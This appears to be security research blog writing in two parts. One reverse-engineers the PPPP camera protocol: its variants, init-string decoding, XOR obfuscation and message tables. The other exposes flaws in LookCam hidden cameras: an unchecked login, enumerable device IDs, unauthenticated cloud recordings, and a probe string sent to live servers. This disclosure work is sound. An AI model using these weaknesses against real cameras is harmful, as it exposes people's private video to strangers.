I recommend going though the CS2 sales presentation to get an idea of how the protocol is meant to work. Needless to say that it doesn’t always work as intended.
I could identify the following network ports being used:
Note that while port 443 is normally associated with HTTPS, here it was apparently only chosen to fool firewalls. The traffic is merely obfuscated, not really encrypted.
The direct communication between the client and the device uses a random UDP port. In my understanding the ports are also randomized when this communication is relayed by a server or supernode.
The canonical representation of a device ID looks like this: ABC-123456-VWXYZ. Here ABC is a device prefix. While a PPPP network will often handle more than one device prefix, mapping a device prefix to a set of servers is supposed to be unambiguous. This rule isn’t enforced across different protocol variants however, e.g. the device prefix EEEE is assigned differently by CS2 and iLnk.
The six digit number following the device prefix allows distinguishing different devices within a prefix. It seems that vendors can choose these numbers freely – some will assign them to devices sequentially, others go by some more complicated rules. A comment on my previous article even claims that they will sometimes reassign existing device IDs to new devices.
The final part is the verification code, meant to prevent enumeration of devices. It is generated by some secret algorithm and allows distinguishing valid device IDs from invalid ones. At least one such algorithm got leaked in the past.
Depending on the application a device ID will not always be displayed in its canonical form. It’s pretty typical for the dashes to be removed for example, in one case I saw the prefix being shortened to one letter. Finally, there are applications that will hide the device ID from the user altogether, displaying only some vendor-specific ID instead.
So far I could identify at least four variants of this protocol – if you count HLP2P which is questionable. These protocol implementations differ significantly and aren’t really compatible. A number of apps can work with different protocol implementations but they generally do it by embedding multiple client libraries.
| Variant | Typical client library names | Typical functions |
|---|---|---|
| CS2 Network | libPPCS_API.so libobject_jni.so librtapi.so | PPPP_Initialize PPPP_ConnectByServer |
| Yi Technology | PPPP_API.so libmiio_PPPP_API.so | PPPP_Initialize PPPP_ConnectByServer |
| iLnk | libvdp.so libHiChipP2P.so | XQP2P_Initialize XQP2P_ConnectByServer HI_XQ_P2P_Init |
| HLP2P | libobject_jni.so libOKSMARTPPCS.so | HLP2P_Initialize HLP2P_ConnectByServer |
The Chinese company CS2 Network is the original developer of the protocol. Their implementation can sometimes be recognized without even looking at any code just by their device IDs. The letters A, I, O and Q are never present in the verification code, there are only 22 valid letters here. Same seems to apply to the Yi Technology fork however which is generally very similar.
The other giveaway is the “init string” which encodes network parameters. Typically these init strings are hardcoded in the application (sometimes hundreds of them) and chosen based on device prefix, though some applications retrieve them from their servers. These init strings are obfuscated, with the function PPPP_DecodeString doing the decoding. The approach is typical for CS2 Network: a lookup table filled with random values and some random algebraic operations to make things seem more complex. The init strings look like this:
DRFTEOBOJWHSFQHQEVGNDQEXFRLZGKLUGSDUAIBXBOIULLKRDNAJDNOZHNKMJO:SECRETKEY
The part before the colon decodes into:
127.0.0.1,192.168.1.1,10.0.0.1,
This is a typical list of three server IPs. No, the trailing comma isn’t a typo but required for correct parsing. Host names are occasionally used in init strings but this is uncommon. With CS2 Network generally distrusting DNS from the looks of it, they probably recommend vendors to sidestep it. The “secret” key behind the colon is optional and activates encryption of transferred data which is better described as obfuscation. Unlike the server addresses, this part isn’t obfuscated.
The Xiaomi spinoff Yi Technology appears to have licensed the code of the CS2 Network implementation. They made some moderate changes to it but it is still very similar to the original. For example, they still use the same code to decode init strings, merely with a different lookup table. Consequently, same init string as above would look slightly differently here:
LZERHWKWHUEQKOFUOREPNWERHLDLDYFSGUFOJXIXJMASBXANOTHRAFMXNXBSAM:SECRETKEY
As can be seen from Paul Marrapese’s Wireshark Dissector, the Yi Technology fork added a bunch of custom protocol messages and extended two messages presumably to provide forward compatibility. The latter is a rather unusual step for the PPPP ecosystem where the dominant approach seems to be “devices and clients connecting to the same network always use the same version of the client library which is frozen for all eternity.”
There is another notable difference: this PPPP implementation doesn’t contain any encryption functionality. There seems to be some AES encryption being performed at the application layer (which is the proper way to do it), I didn’t look too closely however.
The protocol fork developed by Shenzhen Yunni Technology iLnkP2P seems to have been developed from scratch. The device IDs for legacy iLnk networks are easy to recognize because their verification codes only consist of the letters A to F. The algorithm generating these verification codes is public knowledge (CVE-2019-11219) so we know that these are letters taken from an MD5 hex digest. New iLnk networks appear to have verification codes that can contain all Latin letters, some new algorithm replaced the compromised one here. Maybe they use Base64 digests now?
An iLnk init string can be recognized by the presence of a dash:
ATBBARASAXAOAQAOAQAOARBBARAZASAOARAWAYAOARAOARBBARAQAOAQAOAQAOAR-$$
The part before the dash decodes into:
3;127.0.0.1;192.168.1.1;10.0.0.1
Yes, the first list entry has to specify how many server IPs there are. The decoding approach (function HI_DecStr or XqStrDec depending on the implementation) is much simpler here, it’s a kind of Base26 encoding. The part after the dash can encode additional parameters related to validation of device IDs but typically it will be $$ indicating that it is omitted and network-specific device ID validation can be skipped. As far as I can tell, iLnk networks will always send all data as plain text, there is no encryption functionality of any kind.
Going through the code, the network-level changes in the iLnk fork are extensive, with only the most basic messages shared with the original PPPP protocol. Some message types are clashing like for example MSG_DEV_MAX that uses the same type as MSG_DEV_LGN_CRC in the CS2 implementation. This fork also introduces new magic numbers: while PPPP messages normally start with 0xF1, some messages here start with 0xA1 and one for some reason with 0xF2.
Unfortunately, I haven’t seen any comprehensive analysis of this protocol variant yet, so I’ll just list the message types along with their payload sizes. For messages with 20 bytes payloads it can be assumed that the payload is a device ID. Don’t ask me why two pairs of messages share the same message type.
| Message | Message type | Payload size |
|---|---|---|
| MSG_HELLO | F1 00 | 0 |
| MSG_RLY_PKT | F1 03 | 0 |
| MSG_DEV_LGN | F1 10 | IPv4: 40 IPv6: 152 |
| MSG_DEV_MAX | F1 12 | 20 |
| MSG_P2P_REQ | F1 20 | IPv4: 36 IPv6: 152 |
| MSG_LAN_SEARCH | F1 30 | 0 |
| MSG_LAN_SEARCH_EXT | F1 32 | 0 |
| MSG_LAN_SEARCH_EXT_ACK | F1 33 | 52 |
| MSG_DEV_UNREACH | F1 35 | 20 |
| MSG_PUNCH_PKT | F1 41 | 20 |
| MSG_P2P_RDY | F1 42 | 20 |
| MSG_RS_LGN | F1 60 | 28 |
| MSG_RS_LGN_EX | F1 62 | 44 |
| MSG_LST_REQ | F1 67 | 20 |
| MSG_RLY_HELLO | F1 70 | 0 |
| MSG_RLY_HELLO_ACK | F1 71 | 0 |
| MSG_RLY_PORT | F1 72 | 0 |
| MSG_RLY_PORT_ACK | F1 73 | 8 |
| MSG_RLY_PORT_EX_ACK | F1 76 | 264 |
| MSG_RLY_REQ_EX | F1 77 | 288 |
| MSG_RLY_REQ | F1 80 | IPv4: 40 IPv6: 160 |
| MSG_HELLO_TO_ACK | F1 83 | 28 |
| MSG_RLY_RDY | F1 84 | 20 |
| MSG_SDEV_LGN | F1 91 | 20 |
| MSG_MGM_ADMIN | F1 A0 | 160 |
| MSG_MGM_DEVLIST_CTRL | F1 A2 | 20 |
| MSG_MGM_HELLO | F1 A4 | 4 |
| MSG_MGM_MULTI_DEV_CTRL | F1 A6 | variable |
| MSG_MGM_DEV_DETAIL | F1 A8 | 24 |
| MSG_MGM_DEV_VIEW | F1 AA | 4 |
| MSG_MGM_RLY_LIST | F1 AC | 12 |
| MSG_MGM_DEV_CTRL | F1 AE | 24 |
| MSG_MGM_MEM_DB | F1 B0 | 264 |
| MSG_MGM_RLY_DETAIL | F1 B2 | 24 |
| MSG_MGM_ADMIN_LGOUT | F1 BA | 4 |
| MSG_MGM_ADMIN_CHG | F1 BC | 164 |
| MSG_VGW_LGN | F1 C0 | 24 |
| MSG_VGW_LGN_EX | F1 C0 | 24 |
| MSG_VGW_REQ | F1 C3 | 20 |
| MSG_VGW_REQ_ACK | F1 C4 | 4 |
| MSG_VGW_HELLO | F1 C5 | 0 |
| MSG_VGW_LST_REQ | F1 C6 | 20 |
| MSG_DRW | F1 D0 | variable |
| MSG_DRW_ACK | F1 D1 | variable |
| MSG_P2P_ALIVE | F1 E0 | 0 |
| MSG_P2P_ALIVE_ACK | F1 E1 | 0 |
| MSG_CLOSE | F1 F0 | 0 |
| MSG_MGM_DEV_LGN_DETAIL_DUMP | F1 F4 | 12 |
| MSG_MGM_DEV_LGN_DUMP | F1 F4 | 12 |
| MSG_MGM_LOG_CTRL | F1 F7 | 12 |
| MSG_SVR_REQ | F2 10 | 0 |
| MSG_DEV_LV_HB | A1 00 | 20 |
| MSG_DEV_SLP_HB | A1 01 | 20 |
| MSG_DEV_QUERY | A1 02 | 20 |
| MSG_DEV_WK_UP_REQ | A1 04 | 20 |
| MSG_DEV_WK_UP | A1 06 | 20 |
While I’ve seen a few of apps with HLP2P code and the corresponding init strings, I am not sure whether these are still used or merely leftovers from some past adventure. All these apps use primarily networks that rely on other protocol implementations.
HLP2P init strings contain a dash which follows merely three letters. These three letters are ignored and I am unsure about their significance as I’ve only seen one variant:
DAS-0123456789ABCDEF
The decoding function is called from HLP2P_Initialize function and uses the most elaborate approach of all. The hex-encoded part after the dash is decrypted using AES-CBC where the key and initialization vector are derived from a zero-filled buffer via some bogus MD5 hashing. The decoded result is a list of comma-separated parameters like:
DCDC07FF,das,10000001,a+a+a,127.0.0.1-192.168.1.1-10.0.0.1,ABC-CBA
The fifth parameter is a list of server IP addresses and the sixth appears to be the list of supported device prefixes.
On the network level HLP2P is an oddity here. Despite trying hard to provide the same API as other PPPP implementations, including concepts like init strings and device IDs, it appears to be a TCP-based protocol (connecting to server’s port 65527) with little resemblance to PPPP. UDP appears to be used for local broadcasts only (on port 65531). I didn’t spend too much time on the analysis however.
The CS2 implementation of the protocol is the only one that bothers with encrypting data, though their approach is better described as obfuscation. When encryption is enabled, the function P2P_Proprietary_Encrypt is applied to all outgoing and the function P2P_Proprietary_Decrypt to all incoming messages. These functions take the encryption key (which is visible in the application code as an unobfuscated part of the init string) and mash it into four bytes. These four bytes are then used to select values from a static table that the bytes of the message should be XOR’ed with.
There is at least one public implementation of this “encryption” though this one chose to skip the “key mashing” part and simply took the resulting four bytes as its key. A number of articles mention having implemented this algorithm however, it’s not really complicated.
The same obfuscation is used unconditionally for TCP traffic (TCP communication on port 443 as fallback). Here each message header contains two random bytes. The hex representation of these bytes is used as key to obfuscate message contents.
All *_CRC messages like MSG_DEV_LGN_CRC have an additional layer of obfuscation, performed by the functions PPPP_CRCEnc and PPPP_CRCDec. Unlike P2P_Proprietary_Encrypt which is applied to the entire message including the header, PPPP_CRCEnc is only applied to the payload. As normally only messages exchanged between the device and the server are obfuscated in this way, the corresponding key tends to be contained only in the device firmware and not in the application. Here as well the key is mashed into four bytes which are then used to generate a byte sequence that the message (extended by four + signs) is XOR’ed with. This is effectively an XOR cipher with a static key which is easy to crack even without knowing the key.
The CS2 implementation of the protocol contains a curiosity: two messages starting with 338DB900E559 being processed in a special way. No, this isn’t a hexadecimal representation of the bytes – it’s literally the message contents. No magic bytes, no encryption, the messages are expected to be 17 bytes long and are treated as zero-terminated strings.
I tried sending 338DB900E5592B32 (with a trailing zero byte) to a PPPP server and, surprisingly, received a response (non-ASCII bytes are represented as escape sequences):
\x0e\x0ay\x07\x08uT_ChArLiE@Cs2-NeTwOrK.CoM!
This response was consistent for this server, but another server of the same network responded slightly differently:
\x0e\x0ay\x07\x08vT_ChArLiE@Cs2-NeTwOrK.CoM!
A server from a different network which normally encrypts all communication also responded:
\x17\x06f\x12fDT_ChArLiE@Cs2-NeTwOrK.CoM!
It doesn’t take a lot of cryptanalysis knowledge to realize that an XOR cipher with a constant key is being applied here. Thanks to my “razor sharp deduction” I could conclude that the servers are replying with their respective names and these names are being XOR’ed with the string CS2MWDT_ChArLiE@Cs2-NeTwOrK.CoM!. Yes, likely the very same Charlie already mentioned at the start of this article. Hi, Charlie!
I didn’t risk sending the other message, not wanting to shut down a server accidentally. But maybe Shodan wants to extend their method of detecting PPPP servers: their current approach only works when no encryption is used, yet this message seems to get replies from all CS2 servers regardless of encryption.
Once a connection between the client and the device is established, MSG_DRW messages are exchanged in both directions. The messages will be delivered in order and retransmitted if lost, giving application developers something resembling a TCP stream if you don’t look too closely. In addition, each message is tagged with a channel ID, a number between 0 and 7. It looks like channel IDs are universally ignored by devices and are only relevant in the other direction. The idea seems to be that a client receiving a video stream should still be able to send commands to the device and receive responses over the same connection.
The PPPP protocol doesn’t make any recommendations about how applications should encode their data within that stream, and so they developed a number of wildly different application-level protocols. As a rule of thumb, all devices and clients on a particular PPPP network will always speak the same application-level protocol, though there might be slight differences in the supported capabilities. Different networks can share the same protocol, allowing them to be supported within the same application. Usually, there will be multiple applications implementing the same application-level protocol and working with the same PPPP networks, but I haven’t yet seen any applications supporting different protocols.
This allows grouping the applications by their application-level protocol. Applications within the same group are largely interchangeable, same devices can be accessed from any application. This doesn’t necessarily mean that everything will work correctly, as there might still be subtle differences. E.g. an application meant for visual doorbells probably accesses somewhat different functionality than one meant for security cameras even if both share the same protocol. Also, devices might be tied to the cloud infrastructure of a specific application, rendering them inaccessible to other applications working with the same PPPP network.
Fun fact: it is often very hard to know up front which protocol your device will speak. There is a huge thread with many spin-offs where people are attempting to reverse engineer A9 Mini cameras so that these can be accessed without an app. This effort is being massively complicated by the fact that all these cameras look basically the same, yet depending on the camera one out of at least four extremely different protocols could be used: HDWifiCamPro variant of SHIX JSON, YsxLite variant of iLnk binary, JXLCAM variant of CGI calls, or some protocol I don’t know because it isn’t based on PPPP.
The following is a list of PPPP-based applications I’ve identified so far, at least the ones with noteworthy user numbers. Mind you, these numbers aren’t necessarily indicative of the number of PPPP devices – some applications listed only use PPPP for some devices, likely using other protocols for most of their supported devices (particularly the ones that aren’t cameras). I try to provide a brief overview of the application-level protocol in the footnotes. Disclaimer: These applications tend to support a huge number of device prefixes in theory, so I mostly chose the “typical” ones based on which ones appear in YouTube videos or GitHub discussions.
| Application | Typical device prefixes | Application-level protocol |
|---|---|---|
| Xiaomi Home | XMSYSGB | JSON (MISS) 1 |
| Kami Home Yi Home Yi iot |
TNPCHNA TNPCHNB TNPUSAC TNPUSAM TNPXGAC | binary 2 |
| littlelf smart Owltron SmartLife - Smart Living Tuya - Smart Life,Smart Living |
TUYASA | binary (Thing SDK / Tuya SDK) 3 |
| 365Cam CY365 Goodcam HDWifiCamPro PIX-LINK CAM VI365 X-IOT CAM |
DBG DGB DGO DGOA DGOC DGOE NMSA PIXA PIZ | JSON (SHIX) 4 |
| eWeLink - Smart Home | EWLK | binary (iCareP2P) 5 |
| Eye4 O-KAM Pro Veesky |
EEEE VSTA VSTB VSTC VSTD VSTF VSTJ | CGI calls 6 |
| CamHi CamHipro |
AAFF EEEE MMMM NNNN PPPP SSAA SSAH SSAK SSAT SSSS TTTT | binary 7 |
| CloudEdge ieGeek Cam ZUMIMALL |
ECIPCM | binary (Meari SDK) 8 |
| YsxLite | BATC BATE PTZ PTZA PTZB TBAT | binary (iLnk) 9 |
| FtyCamPro | FTY FTYA FTYC FTZ FTZW | binary (iLnk) 10 |
| JXLCAM | ACCQ BCCA BCCQ CAMA | CGI calls 11 |
| LookCam | BHCC FHBB GHBB | JSON 12 |
| HomeEye LookCamPro StarEye |
AYS AYSA TUT | JSON (SHIX) 13 |
| minicam | CAM888 | CGI calls 14 |
| Aqara Home | unknown | JSON 15 |
| App2Cam Plus OMGuard HD |
CGAG CGYU CHXX CMAG CTAI WGAG | binary (Jsw SDK) 16 |
Each message starts with a 4 byte command ID. The initial authorization messages (command ID 0x100 and 0x101) contain plain JSON data. Other messages contain ChaCha20-encoded data: first 8 bytes nonce, then the ciphertext. The encryption key is negotiated in the authorization phase. The decrypted plaintext again starts with a 4 byte command ID, followed by JSON data. There is even some Chinese documentation of this interface though it is rather underwhelming. ↩︎
The device-side implementation of the protocol is available on the web. This doesn’t appear to be reverse engineered, it’s rather the source code of the real thing complete with Chinese comments. No idea who or why published this, I found it linked by the people who develop own changes to the stock camera firmware. The extensive tnp_eventlist_msg_s structure being sent and received here supports a large number of commands. ↩︎
Each message is preceded by a 16 byte header: 78 56 34 12 magic bytes, request ID, command ID, payload size. This is a very basic interface exposing merely 10 commands, most of which are requesting device information while the rest control video/audio playback. As Tuya SDK also communicates with devices by means other than PPPP, more advanced functionality is probably exposed elsewhere. ↩︎
Messages are preceded by an 8 byte binary header: 06 0A A0 80 magic bytes, four bytes payload size (there is a JavaScript-based implementation). The SHIX JSON format is a translation of this web API interface: /check_user.cgi?user=admin&pwd=pass becomes {"pro": "check_user", "cmd": 100, "user": "admin", "pwd": "pass"}. The pro and cmd fields are redundant, representing a command both as a string and as a number. ↩︎
Each message is preceded by a 24 byte header starting with the magic bytes 88 88 76 76, payload size and command ID. The other 12 bytes of the header are unused. More than 60 command IDs are supported, each with its own binary payload format. Some very basic commands have been documented in a HomeAssistant component. ↩︎
The binary message headers are similar to the ones used by apps like 365Cam: 01 0A 00 00 magic bytes, four bytes payload size. The payload is however a web request loosely based on this web API interface: GET /check_user.cgi?loginuse=admin&loginpas=pass&user=admin&pwd=pass. Yes, user name and password are duplicated, probably because not all devices expect loginuse/loginpas parameters? You can see in this article what the requests looks like. ↩︎
The 24 byte header preceding messages is similar to eWeLink: magic bytes 99 99 99 99, payload size and command ID. The other 12 bytes of the header are unused. Not trusting PPPP, CamHi encrypts the payload using AES. It looks like the encryption key is an MD5 hash of a string containing the user name and password among other things. Somebody published some initial insights into the application code. ↩︎
Each message is preceded by a 52 byte header starting with the magic bytes 56 56 50 99. Bulk of this header is taken up by an authentication token: a SHA1 hex digest hashing the username (always admin), device password, sequence number, command ID and payload size. The implemented interface provides merely 14 very basic commands, essentially only exposing access to recordings and the live stream. So the payload even where present is something trivial like a date. As Meari SDK also communicates with devices by means other than PPPP, more advanced functionality is probably exposed elsewhere. ↩︎
The commands and their binary representation are contained within libvdp.so which is the iLnk implementation of the PPPP protocol. Each message is preceded by a 12 bytes header starting with the 11 0A magic bytes. The commands are two bytes long with the higher byte indicating the command type: 2 for SD card command, 3 for A/V command, 4 for file command, 5 for password command, 6 for network command, 7 for system command. ↩︎
While FtyCamPro app handles different networks than YsxLite, it relies on the same libvdp.so library, meaning that the application-level protocol should be the same. It’s possible that some commands are interpreted differently however. ↩︎
The protocol is very similar to the one used by VStarcam apps like O-KAM Pro. The payload has only one set of credentials however, the parameters user and pwd. It’s also a far more limited and sometimes different set of commands. ↩︎
Each message is wrapped in binary data: a prefix starting with A0 AF AF AF before it, the bytes F4 F3 F2 F1 after. For some reason the prefix length seems to be different depending on whether the message is sent to the device (26 bytes) or received from it (25 bytes). I don’t know what most of it is yet everything but the payload length at the end of the prefix seems irrelevant. This Warwick University paper has some info on the JSON payload. It’s particularly notable that the password sent along with each command isn’t actually being checked. ↩︎
LookCamPro & Co. share significant amounts of code with the SHIX apps like 365Cam, they implement basically the same application-level protocol. There are differences in the supported commands however. It’s difficult to say how significant these differences are because all apps contain significant amounts of dead code, defining commands that are never used and probably not even supported. ↩︎
The minicam app seems to use almost the same protocol as VStarcam apps like O-KAM Pro. It handles other networks however. Also, a few of the commands seem different from the ones used by O-KAM Pro, though it is hard to tell how significant these incompatibilities really are. ↩︎
The JSON data containing command parameters is preceded by a 16 bytes header containing command ID, payload length and two other values that are ignored other than being quoted verbatim in the response. Commands sent to the device always have even IDs, for the reponse the device increases the command ID by 1. The 14 exposed commands seem to be all dealing with audio/video streams and playback controls. Camera configuration must be done by other means. ↩︎
Each message is preceded by a 4 bytes header: 3 bytes payload size, 1 byte I/O type (1 for AUTH, 2 for VIDEO, 3 for AUDIO, 4 for IOCTRL, 5 for FILE). The payload starts with a type-specific header. If I read the code correctly, the first 16 bytes of the payload are encrypted with AES-ECB (unpadded) while the rest is sent unchanged. There is an “xor byte” in the payload header which is changed with every request seemingly to avoid generating identical ciphertexts. Payloads smaller than 16 bytes are not encrypted. I cannot see any initialization of the encryption key beyond filling it with 32 zero bytes, which would mean that this entire mechanism is merely obfuscation. ↩︎
I’ve got my hands on an internet-connected camera and decided to take a closer look, having already read about security issues with similar cameras. What I found far exceeded my expectations: fake access controls, bogus protocol encryption, completely unprotected cloud uploads and firmware riddled with security flaws. One could even say that these cameras are Murphy’s Law turned solid: everything that could be done wrong has been done wrong here. While there is considerable prior research on these and similar cameras that outlines some of the flaws, I felt that the combination of severe flaws is reason enough to publish an article of my own.
My findings should apply to any camera that can be managed via the LookCam app. This includes cameras meant to be used with less popular apps of the same developer: tcam, CloudWayCam, VDP, AIBoxcam, IP System. Note that the LookCamPro app, while visually very similar, is technically quite different. It also uses the PPPP protocol for low-level communication but otherwise doesn’t seem to be related, and the corresponding devices are unlikely to suffer from the same flaws.
There seems to be little chance that things will improve with these cameras. I have no way of contacting either the hardware vendors or the developers behind the LookCam app. In fact, it looks like masking their identity was done on purpose here. But even if I could contact them, the cameras lack an update mechanism for their firmware. So fixing the devices already sold is impossible.
I have no way of knowing how many of these cameras exist. The LookCam app is currently listed with almost 1.5 million downloads on Google Play however. An iPhone and a Windows version of the app are also available but no public statistics exist here.
The camera cannot be easily isolated from unauthorized access. It can either function as a WiFi access point, but setting a WiFi password isn’t possible. Or it can connect to an existing network, and then it will insist on being connected to the internet. If internet access is removed the camera will go into a reboot loop. So you have the choice of letting anybody in the vicinity access this camera or allowing it to be accessed from the internet.
The communication of this camera is largely unencrypted. The underlying PPPP protocol supports “encryption” which is better described as obfuscation, but the LookCam app almost never makes use of it. Not that it would be of much help, the proprietary encryption algorithms being developed without any understanding of cryptography. These rely on static encryption keys which are trivially extracted from the app but should be easy enough to deduce even from merely observing some traffic.
The camera firmware is riddled with buffer overflow issues which should be trivial to turn into arbitrary code execution. Protection mechanisms like DEP or ASLR might have been a hurdle but these are disabled. And while the app allows you to set an access password, the firmware doesn’t really enforce it. So access without knowing the password can be accomplished simply by modifying the app to skip the password checks.
The only thing preventing complete compromise of any camera is the “secret” device ID which has to be known in order to establish a connection. And by “secret” I mean that device IDs can generally be enumerated but they are “secured” with a five letter verification code. Unlike with some similar cameras, the algorithm used to generate the verification code isn’t public knowledge yet. So somebody wishing to compromise as many cameras as possible would need to either guess the algorithm or guess the verification codes by trying out all possible combinations. I suspect that both approaches are viable.
And while the devices themselves have access passwords which a future firmware version could in theory start verifying, the corresponding cloud service has no authentication beyond knowledge of the device ID. So any recordings uploaded to the cloud are accessible even if the device itself isn’t. Even if the camera owner hasn’t paid for the cloud service, anyone could book it for them if they know the device ID. The cloud configuration is managed by the server, so making the camera upload its recordings doesn’t require device access.
Most cameras connecting to the LookCam app are being marketed as “spy cam” or “nanny cam.” These are made to look like radio clocks, USB chargers, bulb sockets, smoke detectors, even wall outlets. Most of the time their pretended functionality really works. In addition they have an almost invisible pinhole camera that can create remarkably good recordings. I’ve seen prices ranging from US$40 to hundreds of dollars.
The marketing spin says that these cameras are meant to detect when your house is being robbed. Or maybe they allow you to observe your baby while it is in the next room. Of course, in reality people are far more inventive in their use of tiny cameras. Students discovered them for cheating in exams. Gamblers use them to get an advantage at card games. And then there is of course the matter of non-consentual video recordings. So next time you stay somewhere where you don’t quite trust the host you might want to search for “LookCam” on YouTube, just to get an idea of how to recognize such devices.
The camera I had was based on the Anyka AK39Ev330 hardware platform, essentially an ARM CPU with an attached pinhole camera. Presumably, other cameras connecting to the LookCam app are similar, even though there are some provisions for hardware differences in the firmware. The device looked very convincing, its main giveaway being unexpected heat development.
All LookCam cameras I’ve seen were strictly noname devices, it is unclear who builds them. Given the variety of competing form factors I suspect that a number of hardware vendors are involved. Maybe there is one vendor producing the raw camera kit and several others who package it within the respective casings.
The LookCam app can manage a number of cameras. Some people demonstrating the app on YouTube had around 50 of them, though I suspect that these are camera sellers and not regular users.
While each camera can be given a custom name, its unique ID is always visible as well. For example, the first camera listed in the screenshot above has the ID GHBB-000001-NRLXW which the apps shortens into G000001NRLXW. Here GHBB is the device prefix: LookCam supports a number of these but only BHCC, FHBB and GHBB seem to exist in reality (abbreviated as B, F and G respectively). 000001 is the device number, each prefix can theoretically support a million devices. The final part is a five-letter verification code: NRLXW. This one has to be known for the device connection to succeed, it makes enumerating device IDs more difficult.
Out of the box, the device is in access point mode: it provides a WiFi access point with the device ID used as wireless network name. You can connect to that access point, and LookCam will be able to find the camera via a network broadcast, allowing you to configure it. You might be inclined to leave the camera in access point mode but it is impossible to set a WiFi password. This means that anybody in the vicinity can connect to this WiFi network and access the camera through it. So there is no way around configuring the camera to connect to your network.
Once the camera is connected to your network the P2P “magic” happens. LookCam app can still find the camera via a network broadcast. But it can also establish a connection when you are not on the same network. In other words: the camera can be accessed from the internet, assuming that someone knows its device ID.
Exposing the camera to internet-based attacks might not be something that you want, with it being in principle perfectly capable of writing its recordings to an SD card. But if you deny it access to the internet (e.g. via a firewall rule) the camera will try to contact its server, fail, panic and reboot. It will keep rebooting until it receives a response from the server.
One thing to note is also: the device ID is displayed in pretty much every screen of this app. So when users share screenshots or videos of the app (which they do often) they will inevitably expose the ID of their camera, allowing anyone in the world to connect to it. I’ve seen very few cases of people censoring the device ID, clearly most of them aren’t aware that it is sensitive information. The LookCam app definitely isn’t communicating that it is.
How can LookCam establish a connection to the camera having only its device ID? The app uses the PPPP protocol developed by the Chinese company CS2 Network. Supposedly, in 2019 CS2 Network had 300 customers with 20 million devices in total. This company supplies its customers with a code library and the corresponding server code which the customers can run as a black box. The idea of the protocol is providing an equivalent of the TCP protocol which implicitly locates a device by its ID and connects to it.
Side note: Whoever designed this protocol didn’t really understand TCP. For example, they tried to replicate the fault tolerance of TCP. But instead of making retransmissions an underlying protocol feature there are dozens of different (not duplicated but really different) retransmission loops throughout the library. Where TCP tries to detect network congestions and back off the PPPP protocol will send even more retransmitted messages, rendering suboptimal connections completely unusable.
Despite being marketed as Peer-to-Peer (P2P) this protocol relies on centralized servers. Each device prefix is associated with a set of three servers, this being the protocol designers’ idea of high-availability infrastructure. Devices regularly send messages to all three servers, making sure that these are aware of the device’s IP address. When the LookCam app (client) wants to connect to a device, it also contacts all three servers to get the device’s IP address.
The P2P part is the fact that device and client try to establish a direct connection instead of relaying all communication via a central server. The complicating factor here are firewalls which usually disallow direct connections. The developers didn’t like established approaches like Universal Plug and Play (UPnP), probably because these are often disabled for security reasons. So they used a trick called UDP hole punching. This involves guessing which port the firewall assigned to outgoing UDP traffic and then communicating with that port, so that the firewall considers incoming packets a response to previously sent UDP packets and allows them through.
Does that always work? That’s doubtful. So the PPPP protocol allows for relay servers to be used as fallback, forwarding traffic from and to the device. But this direct communication presumably succeeds often enough to keep the traffic on PPPP servers low, saving costs.
The FHBB and GHBB device prefixes are handled by the same set of servers, named the “mykj” network in the LookCam app internally. Same string appears in the name of the main class as well, indicating that it likely refers to the company developing the app. This seems to be a short form of “Meiyuan Keji,” a company name that translates as “Dollar Technology.” I couldn’t find any further information on this company however.
The BHCC device prefix is handled by a different set of servers that the app calls the “hekai” network. The corresponding devices appear to be marketed in China only.
With potentially very sensitive data being transmitted one would hope that the data is safely encrypted in transit. The TCP protocol outsources this task to additional layers like TLS. The PPPP protocol on the other hand has built-in “encryption,” in fact even two different encryption mechanisms.
First there is the blanket encryption of all transmitted messages. The corresponding function is aptly named P2P_Proprietary_Encrypt and it is in fact a very proprietary encryption algorithm. To my untrained eye there are a few issues with it:
MSG_HELLO message (it is known that the first four bytes message sent to port 32100 has the plaintext F1 00 00 00).In addition to that, some messages get special treatment. For example, the MSG_REPORT_SESSION_READY message is generally encrypted via P2P_Proprietary_Encrypt function with a key that is hardcoded in the CS2 library and has the same value in every app I checked.
Some messages employ a different encryption method. In case of the networks supported by LookCam it is only the MSG_DEV_LGN_CRC message (device registering with the server) that is used instead of the plaintext MSG_DEV_LGN message. As this message is sent by the device, the corresponding encryption key is only present in the device firmware, not in the application. I didn’t bother checking whether the server would still accept the unencrypted MSG_DEV_LGN message.
The encryption function responsible here is PPPP_CRCEnc. No, this isn’t a cyclic redundancy check (CRC). It’s rather an encryption function that will extend the plaintext by a four bytes padding. The decryptor will validate the padding, presumably that’s the reason for the name.
Of course, this still doesn’t make it an authenticated encryption scheme, yet the padding oracle attack is really the least of its worries. While there is a complicated selection approach, it effectively results in a sequence of bytes that the plaintext is XOR’ed with. Same sequence for every single message being encrypted in this way. Wikipedia has the following to say on the security of XOR ciphers:
By itself, using a constant repeating key, a simple XOR cipher can trivially be broken using frequency analysis. If the content of any message can be guessed or otherwise known then the key can be revealed.
Well, yes. That’s what we have here.
It’s doubtful that any of these encryption algorithms can deter even a barely determined attacker. But a blanket encryption with P2P_Proprietary_Encrypt (which LookCam doesn’t enable) would have three effects:
MSG_HELLO message.It is obvious that the designers of the PPPP protocol don’t understand cryptography, yet for some reason they don’t want to use established solutions either. It cannot even be about performance because AES is supported in hardware on these devices. But why for example this strange choice of encrypting a particular message while keeping the encryption of highly private data optional? Turns out, this is due to the threat model used by the PPPP protocol designers.
As a CS2 Network presentation deck shows, their threat model isn’t concerned about data leaks. The concern is rather denial-of-service attacks caused by registering fake devices. And that’s why this one message enjoys additional encryption. Not that I really understand the concern here, since the supposed hacker would still have to generate valid device IDs somehow. And if they can do that – well, them bringing the server down should really be the least concern.
But wait, there is another security layer here!
This is about the “init string” already mentioned in the context of encryption keys above. It also contains the IP addresses of the servers, mildly obfuscated. While these were “given to platform owner only,” these are necessarily contained in the LookCam app:
Some other apps contain dozens of such init strings, allowing them to deal with many different networks. So the threat model of the PPPP protocol cannot imagine someone extracting the “encrypted P2P server IP string” from the app. It cannot imagine someone reverse engineering the (trivial) obfuscation used here. And it definitely cannot imagine someone reverse engineering the protocol, so that they can communicate with the servers via “raw IP string” instead of their obfuscated one. Note: The latter has happened on several documented occasions already, e.g. here.
These underlying assumptions become even more obvious on this slide:
Yes, the only imaginable way to read out network data is via the API of their library. With a threat model like this, it isn’t surprising that the protocol makes all the wrong choices security-wise.
Once a connection is etablished the LookCam app and the camera will exchange JSON-encoded messages like the following:
{
"cmd": "LoginDev",
"pwd": "123456"
}
A paper from the Warwick University already took a closer look at the firmware and discovered something surprising. The LookCam app will send a LoginDev command like above to check whether the correct access password is being used for the device. But sending this command is entirely optional, and the firmware will happily accept other commands without a “login”!
